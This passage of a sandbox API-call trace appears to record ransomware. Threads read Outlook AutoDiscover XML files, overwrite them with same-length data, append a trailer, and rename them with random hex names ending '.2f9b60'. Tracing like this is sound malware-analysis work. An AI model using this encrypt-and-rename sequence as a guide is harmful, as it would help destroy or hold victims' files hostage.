0x73d4199d [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x356a9257 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x5bd832c6 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x4da65e84 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x2abaf903 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x1ae13a9f [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x7f96d522 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x2aef705a [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x6dd7f02 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x5b577347 [0230.597] RtlRandomEx (in: Seed=0x2a95fcf0 | out: Seed=0x2a95fcf0) returned 0x1e267dc [0230.623] ReadFile (in: hFile=0x66c, lpBuffer=0x2033ad80, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x2a95fcf0, lpOverlapped=0x0 | out: lpBuffer=0x2033ad80*, lpNumberOfBytesRead=0x2a95fcf0*=0x326, lpOverlapped=0x0) returned 1 [0230.623] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.623] WriteFile (in: hFile=0x66c, lpBuffer=0x20337170*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x2a95fcf4, lpOverlapped=0x0 | out: lpBuffer=0x20337170*, lpNumberOfBytesWritten=0x2a95fcf4*=0x326, lpOverlapped=0x0) returned 1 [0233.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262fc0 [0233.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262540 [0233.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262540) returned 1 [0233.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20337170) returned 1 [0233.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2033ad80) returned 1 [0233.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867440) returned 1 [0233.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0233.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262540 [0233.816] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.817] WriteFile (in: hFile=0x66c, lpBuffer=0x431f1140*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a95fe10, lpOverlapped=0x0 | out: lpBuffer=0x431f1140*, lpNumberOfBytesWritten=0x2a95fe10*=0x10a, lpOverlapped=0x0) returned 1 [0236.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630e0 [0236.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202630e0) returned 1 [0236.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630e0 [0236.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621e0 [0236.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621e0) returned 1 [0236.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad020 [0236.057] sprintf (in: _Dest=0x431ad020, _Format="%c%c" | out: _Dest="99") returned 2 [0236.057] sprintf (in: _Dest=0x431ad022, _Format="%c%c" | out: _Dest="3f") returned 2 [0236.057] sprintf (in: _Dest=0x431ad024, _Format="%c%c" | out: _Dest="85") returned 2 [0236.057] sprintf (in: _Dest=0x431ad026, _Format="%c%c" | out: _Dest="af") returned 2 [0236.057] sprintf (in: _Dest=0x431ad028, _Format="%c%c" | out: _Dest="df") returned 2 [0236.057] sprintf (in: _Dest=0x431ad02a, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.057] sprintf (in: _Dest=0x431ad02c, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.057] sprintf (in: _Dest=0x431ad02e, _Format="%c%c" | out: _Dest="19") returned 2 [0236.057] sprintf (in: _Dest=0x431ad030, _Format="%c%c" | out: _Dest="f2") returned 2 [0236.057] sprintf (in: _Dest=0x431ad032, _Format="%c%c" | out: _Dest="26") returned 2 [0236.057] sprintf (in: _Dest=0x431ad034, _Format="%c%c" | out: _Dest="5e") returned 2 [0236.058] sprintf (in: _Dest=0x431ad036, _Format="%c%c" | out: _Dest="95") returned 2 [0236.058] sprintf (in: _Dest=0x431ad038, _Format="%c%c" | out: _Dest="6b") returned 2 [0236.058] sprintf (in: _Dest=0x431ad03a, _Format="%c%c" | out: _Dest="cd") returned 2 [0236.058] sprintf (in: _Dest=0x431ad03c, _Format="%c%c" | out: _Dest="b4") returned 2 [0236.058] sprintf (in: _Dest=0x431ad03e, _Format="%c%c" | out: _Dest="23") returned 2 [0236.058] sprintf (in: _Dest=0x431ad040, _Format="%c%c" | out: _Dest="19") returned 2 [0236.058] sprintf (in: _Dest=0x431ad042, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.058] sprintf (in: _Dest=0x431ad044, _Format="%c%c" | out: _Dest="9d") returned 2 [0236.058] sprintf (in: _Dest=0x431ad046, _Format="%c%c" | out: _Dest="b0") returned 2 [0236.058] sprintf (in: _Dest=0x431ad048, _Format="%c%c" | out: _Dest="b8") returned 2 [0236.058] sprintf (in: _Dest=0x431ad04a, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.058] sprintf (in: _Dest=0x431ad04c, _Format="%c%c" | out: _Dest="3a") returned 2 [0236.058] sprintf (in: _Dest=0x431ad04e, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.058] RtlInitAnsiString (in: DestinationString=0x2a95fe88, SourceString="993f85afdfd9ed19f2265e956bcdb42319a19db0b84a3ae2" | out: DestinationString="993f85afdfd9ed19f2265e956bcdb42319a19db0b84a3ae2") [0236.058] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a95fe58, SourceString="993f85afdfd9ed19f2265e956bcdb42319a19db0b84a3ae2", AllocateDestinationString=1 | out: DestinationString="993f85afdfd9ed19f2265e956bcdb42319a19db0b84a3ae2") returned 0x0 [0236.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319fd00 [0236.059] wcscat (in: _Dest=0x1ce16920, _Source="993f85afdfd9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\993f85afdfd9") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\993f85afdfd9" [0236.059] wcscat (in: _Dest=0x1ce16920, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\993f85afdfd9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\993f85afdfd9.2f9b60" [0236.059] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\993f85afdfd9.2f9b60", NtPathName=0x2a95fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\993f85afdfd9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x430ffd10 Thread: id = 3815 os_tid = 0x1d84 [0227.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml")) returned 0x20 [0229.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML", dwFileAttributes=0x20) returned 1 [0229.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x674 [0229.298] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x2c08fce0 | out: lpFileSize=0x2c08fce0*=810) returned 1 [0229.298] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.298] ReadFile (in: hFile=0x674, lpBuffer=0x2c08fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c08fca8, lpOverlapped=0x0 | out: lpBuffer=0x2c08fc60*, lpNumberOfBytesRead=0x2c08fca8*=0x4, lpOverlapped=0x0) returned 1 [0230.585] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a40 [0230.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0230.586] NtQuerySystemTime (in: CurrentTime=0x2c08fba0 | out: CurrentTime=0x2c08fba0*=132462178345846000) returned 0x0 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x71ac4f8c [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x10de14e0 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x69b93b68 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x2b38c67 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x1c47d6f [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x1ce4459b [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x68cdb5b3 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x575eb278 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x790cab69 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x46d119f [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x1c29e092 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x2b321be5 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x157741ea [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x25003d0b [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x39c44985 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x7d1bf250 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x1aadeabf [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x65fbb4f8 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x50e357c [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x28db316d [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x31ccf425 [0230.586] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x14ccaa2 [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x628b7670 [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x2459fb91 [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x50dd8f [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x507cb00c [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x4b3c02e1 [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x6227a57c [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x628b7670 [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x575eb278 [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x13d9e4b9 [0230.587] RtlRandomEx (in: Seed=0x2c08fb90 | out: Seed=0x2c08fb90) returned 0x573b9ee0 [0230.595] ReadFile (in: hFile=0x674, lpBuffer=0x20324520, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x2c08fb90, lpOverlapped=0x0 | out: lpBuffer=0x20324520*, lpNumberOfBytesRead=0x2c08fb90*=0x32a, lpOverlapped=0x0) returned 1 [0230.595] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.595] WriteFile (in: hFile=0x674, lpBuffer=0x2030dcc0*, nNumberOfBytesToWrite=0x32a, lpNumberOfBytesWritten=0x2c08fb94, lpOverlapped=0x0 | out: lpBuffer=0x2030dcc0*, lpNumberOfBytesWritten=0x2c08fb94*=0x32a, lpOverlapped=0x0) returned 1 [0233.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0233.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e20 [0233.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e20) returned 1 [0233.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030dcc0) returned 1 [0233.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20324520) returned 1 [0233.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8679c0) returned 1 [0233.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0233.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431ad020 [0233.812] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.812] WriteFile (in: hFile=0x674, lpBuffer=0x431f0840*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2c08fcb0, lpOverlapped=0x0 | out: lpBuffer=0x431f0840*, lpNumberOfBytesWritten=0x2c08fcb0*=0x10e, lpOverlapped=0x0) returned 1 [0236.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0236.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0236.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20263dd0 [0236.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a10 [0236.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0236.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622d0) returned 1 [0236.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97620 [0236.050] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="2e") returned 2 [0236.050] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="d3") returned 2 [0236.050] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="e1") returned 2 [0236.050] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="c5") returned 2 [0236.050] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="26") returned 2 [0236.050] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="d7") returned 2 [0236.050] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="3b") returned 2 [0236.050] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="87") returned 2 [0236.050] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.050] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="72") returned 2 [0236.050] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="28") returned 2 [0236.050] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="16") returned 2 [0236.050] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.050] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="95") returned 2 [0236.050] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="54") returned 2 [0236.050] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.051] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="c3") returned 2 [0236.051] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="85") returned 2 [0236.051] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="36") returned 2 [0236.051] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="1a") returned 2 [0236.051] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="61") returned 2 [0236.051] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="fa") returned 2 [0236.051] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="6e") returned 2 [0236.051] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="40") returned 2 [0236.051] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="a6") returned 2 [0236.051] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="c6") returned 2 [0236.051] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="49") returned 2 [0236.051] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="3d") returned 2 [0236.051] RtlInitAnsiString (in: DestinationString=0x2c08fd28, SourceString="2ed3e1c526d73b874c7228164c9554edc385361a61fa6e40a6c6493d" | out: DestinationString="2ed3e1c526d73b874c7228164c9554edc385361a61fa6e40a6c6493d") [0236.051] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c08fcf8, SourceString="2ed3e1c526d73b874c7228164c9554edc385361a61fa6e40a6c6493d", AllocateDestinationString=1 | out: DestinationString="2ed3e1c526d73b874c7228164c9554edc385361a61fa6e40a6c6493d") returned 0x0 [0236.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8696c0 [0236.052] wcscat (in: _Dest=0x1ce22b60, _Source="2ed3e1c526d73b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2ed3e1c526d73b") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2ed3e1c526d73b" [0236.052] wcscat (in: _Dest=0x1ce22b60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2ed3e1c526d73b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2ed3e1c526d73b.2f9b60" [0236.052] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2ed3e1c526d73b.2f9b60", NtPathName=0x2c08fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2ed3e1c526d73b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x430ffde0 Thread: id = 3816 os_tid = 0x182c [0227.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml")) returned 0x20 [0229.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML", dwFileAttributes=0x20) returned 1 [0229.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25ac [0229.256] GetFileSizeEx (in: hFile=0x25ac, lpFileSize=0x2bdaf700 | out: lpFileSize=0x2bdaf700*=807) returned 1 [0229.256] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.256] ReadFile (in: hFile=0x25ac, lpBuffer=0x2bdaf680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bdaf6c8, lpOverlapped=0x0 | out: lpBuffer=0x2bdaf680*, lpNumberOfBytesRead=0x2bdaf6c8*=0x4, lpOverlapped=0x0) returned 1 [0229.259] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c60 [0229.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3fb0 [0229.260] NtQuerySystemTime (in: CurrentTime=0x2bdaf5c0 | out: CurrentTime=0x2bdaf5c0*=132462178332586000) returned 0x0 [0229.260] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x29c7775b [0229.260] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x6edf2725 [0229.260] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x299c9e9b [0229.260] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x37e89f84 [0229.260] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x45e7b096 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x548db6f8 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x4ab4ece4 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x3930cd3 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x7d4ea00c [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x17eb063 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x52bad1bf [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x7b6d1715 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x11fc40d9 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x2a38c091 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x706eb954 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x6375015 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x5281cdb4 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x2ac9bbb9 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x11a6cc04 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x32df8910 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x54751bb1 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x7d88317d [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x66c73c99 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x3f4757b1 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x785a7982 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x1d85bc0a [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0xdde147 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x79bbc625 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x320ad985 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x4c229368 [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x5c8b13ab [0229.261] RtlRandomEx (in: Seed=0x2bdaf5b0 | out: Seed=0x2bdaf5b0) returned 0x7e6ea7e5 [0229.269] ReadFile (in: hFile=0x25ac, lpBuffer=0x42dc6ce0, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x2bdaf5b0, lpOverlapped=0x0 | out: lpBuffer=0x42dc6ce0*, lpNumberOfBytesRead=0x2bdaf5b0*=0x327, lpOverlapped=0x0) returned 1 [0229.269] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.269] WriteFile (in: hFile=0x25ac, lpBuffer=0x42dd9930*, nNumberOfBytesToWrite=0x327, lpNumberOfBytesWritten=0x2bdaf5b4, lpOverlapped=0x0 | out: lpBuffer=0x42dd9930*, lpNumberOfBytesWritten=0x2bdaf5b4*=0x327, lpOverlapped=0x0) returned 1 [0233.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0233.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0233.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a10) returned 1 [0233.294] RtlFreeHeap (HeapHandle=0xa0000, 